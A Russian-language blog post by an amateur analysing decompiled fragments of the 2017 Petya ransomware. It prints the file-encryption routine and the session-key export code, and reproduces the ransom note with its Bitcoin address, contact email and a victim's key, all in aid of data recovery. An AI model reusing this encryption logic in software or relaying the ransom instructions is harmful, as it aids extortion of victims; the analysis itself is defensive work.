Сутки после вируса Petya

в 17:13, , рубрики: Petya, антивирусная защита, вирус, Восстановление данных

Я не писатель, я читатель. Но считаю нужным поделиться.

Буду краток, но уж простите. Данный опус является только желанием поделиться результатом 10-12 часов втыкания в декомпилированный код вируса.

Кому интересно, продолжение ниже.

С самого начала (а это около 13-00 27-го числа), после первого звонка от знакомых, о проявившихся симптомах, начал мониторить сеть на предмет информации. Ее к сожалению мало и до сих пор.

Часам к 5-ти вечера подвезли системник.

Итак.

→ h**ps://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759 — отсюда взял файл вируса.
→ h**ps://retdec.com/decompilation-run/ — тут его декомпилировал.

Сразу оговорюсь — я не писатель, а под windows тем более, поэтому пришлось потратить довольно много времени на изучение полученного кода.

Собственно две вещи которые я обнаружил и хочу поделиться.

1. Файлы меньше 1 Мб (0x100000) шифруются полностью. Больше — шифруется только 1-й мегабайт:

        // 0x100018da
        if (v6 <= lpFileMappingAttributes) {
            if (lpFileSize <= 0x100000) {  //тут проверяется размер файла
                // 0x10001958
                dwNumberOfBytesToMap = (struct _LARGE_INTEGER *)lpFileSize;
                pdwDataLen = dwNumberOfBytesToMap;
                dwMaximumSizeLow = 16 * (lpFileSize / 16 + 1);
                // branch -> 0x100018eb
                // 0x100018eb
                hFileMappingObject = CreateFileMappingW((char *)hFile2, (struct _SECURITY_ATTRIBUTES *)lpFileMappingAttributes, 4, lpFileMappingAttributes, dwMaximumSizeLow, (int16_t *)lpFileMappingAttributes);
                dwFileOffsetHigh = lpFileMappingAttributes;
                if ((int32_t)hFileMappingObject != dwFileOffsetHigh) {
                    // 0x100018ff
                    pbData = MapViewOfFile(hFileMappingObject, 6, dwFileOffsetHigh, dwFileOffsetHigh, (int32_t)dwNumberOfBytesToMap);
                    v4 = (int32_t)pbData;
                    hFile2 = v4;
                    hHash = lpFileMappingAttributes;
                    if (v4 != hHash) {
                        // 0x10001913
                        hKey = *(int32_t *)(a2 + 20);
                        v5 = CryptEncrypt(hKey, hHash, (int32_t)(struct _SECURITY_ATTRIBUTES *)1 % 2 != 0, hHash, pbData, (int32_t *)&pdwDataLen, dwMaximumSizeLow);
                        if (v5) {
                            // 0x1000192e
                            FlushViewOfFile((char *)hFile2, (int32_t)pdwDataLen);
                            // branch -> 0x10001938
                        }
                        // 0x10001938
                        UnmapViewOfFile((char *)hFile2);
                        // branch -> 0x1000193f
                    }
                    // 0x1000193f
                    CloseHandle(hFileMappingObject);
                    // branch -> 0x10001948
                }
                // 0x10001948
                handleClosed = CloseHandle(hFile);
                // branch -> 0x10001951
                // 0x10001951
                g8 = v1;
                g4 = v3;
                return (char *)handleClosed;
            }
        }
        // 0x100018e6
        pdwDataLen = (struct _LARGE_INTEGER *)0x100000; // тут устанавливается максимальный размер шифрования если файл бльше 1 мегабайта
        struct _SECURITY_ATTRIBUTES * v8 = (struct _SECURITY_ATTRIBUTES *)lpFileMappingAttributes;
        lpFileMappingAttributes2 = v8;
        v7 = v8;
        dwNumberOfBytesToMap2 = (struct _LARGE_INTEGER *)0x100000;
        dwMaximumSizeLow = 0x100000;
        // branch -> 0x100018eb
    }

Это же я заметил, просмативая зашифрованные файлы на принесенном компьютере.

2. Каждый логический том в системе шифруется своим ключом. В корне каждого диска создается файл README.TXT с содержимым тем же, что и выводится на экран по окончании шифровки и после перезагрузки, как я понимаю (лично не видел экрана). Но вот ключ разный на двух разделах диска который я ковырял.

Ooops, your important files are encrypted.

If you see this text, then your files are no longer accessible, because
they have been encrypted. Perhaps you are busy looking for a way to recover
your files, but don't waste your time. Nobody can recover your files without
our decryption service.

We guarantee that you can recover all your files safely and easily.
All you need to do is submit the payment and purchase the decryption key.

Please follow the instructions:

1. Send $300 worth of Bitcoin to following address:

1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX

2. Send your Bitcoin wallet ID and personal installation key to e-mail wowsmith123456@posteo.net.
Your personal installation key:

AQIAAA5mAAAApAAAuoxiZtYONU+IOA/XL0Yt/lsBOfNmT9WBDYQ8LsRCWJbQ3iTs
Ka1mVGVmMpJxO+bQmzmEwwiy1Mzsw2hVilFIK1kQoC8lEZPvV06HFGBeIaSAfrf6
6kxuvs7U/fDP6RUWt3hGT4KzUzjU7NhIYKg2crEXuJ9gmgIE6Rq1hSv6xpscqvvV
Fg4k0EHN3TS9hSOWbZXXsDe9H1r83M4LDHA+NJmVM7CKPCRFc82UIQNZY/CDz/db
1IknT/oiBDlDH8fHDr0Z215M3lEy/K7PC4NSk9c+oMP1rLm3ZeL0BbGTBPAZvTLI
LkKYVqRSYpN+Mp/rBn6w3+q15DNRlbGjm1i+ow==

Тут хотелось бы просить помощи специалистов в шифровании.


void function_10001c7f(void) {
    int32_t dwFlags = 0; // ebx
    int32_t hKey = *(int32_t *)(g3 + 20); // 0x10001ca0
    int32_t pdwDataLen = 0;
    int32_t v1;
    if (!CryptExportKey(hKey, *(int32_t *)(g3 + 12), 1, 0, NULL, &pdwDataLen)) {
        // 0x10001d2a
        g3 = (int32_t)NULL;
        g4 = v1;
        return;
    }
    char * memoryHandle = LocalAlloc(64, pdwDataLen); // 0x10001cb1
    if ((int32_t)memoryHandle == dwFlags) {
        // 0x10001d2a
        g3 = (int32_t)NULL;
        g4 = v1;
        return;
    }
    int32_t hExpKey = *(int32_t *)(g3 + 12); // 0x10001cc6
    int32_t hKey2 = *(int32_t *)(g3 + 20); // 0x10001cc9
    if (CryptExportKey(hKey2, hExpKey, 1, dwFlags, memoryHandle, &pdwDataLen)) {
        int32_t pcchString = dwFlags;
        bool v2 = CryptBinaryToStringW(memoryHandle, pdwDataLen, 1, (int16_t *)dwFlags, &pcchString); // 0x10001ce8
        if (v2) {
            char * memoryHandle2 = LocalAlloc(64, 2 * pcchString); // 0x10001cf6
            int32_t hMem = (int32_t)memoryHandle2; // 0x10001cf6_6
            if (hMem == dwFlags) {
                // 0x10001d21
                LocalFree(memoryHandle);
                // branch -> 0x10001d2a
                // 0x10001d2a
                g3 = (int32_t)NULL;
                g4 = v1;
                return;
            }

Третий параметр функции CryptExportKey — 1, это экспорт сессионного ключа. И этот ключ как я понимаю сохраняется в README.TXT.

Собственно вопрос — нельзя ли его импортировать, и расшифровывать файлы? Это не паблик ключ. Понятно, что дайте приват проблем не было бы.

Собственно, больше внимание я обращал именно на функции шифрования, остальное меня не интересовало.

Ну и мнение простого обывателя — данная атака это продолжение майской, в результате которой, видимо, не была достигнута поставленная цель. Потому как на кошельках с прошлой атаки около 160-180 тысяч так и не тронуто. Была бы цель получение денег, их бы уже начали отмывать. За чуть больше чем сутки на кошелек 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX перечислили всего чуть больше чем 10000$. Это, конечно, является следствием того, что в прошлый раз никто никаких ключей дешифрования не получил.

Надеюсь моя первая статья не станет последней. С удовольствием исправлю возникшие ошибки.

Автор: sat_art

Источник

Поделиться

* - обязательные к заполнению поля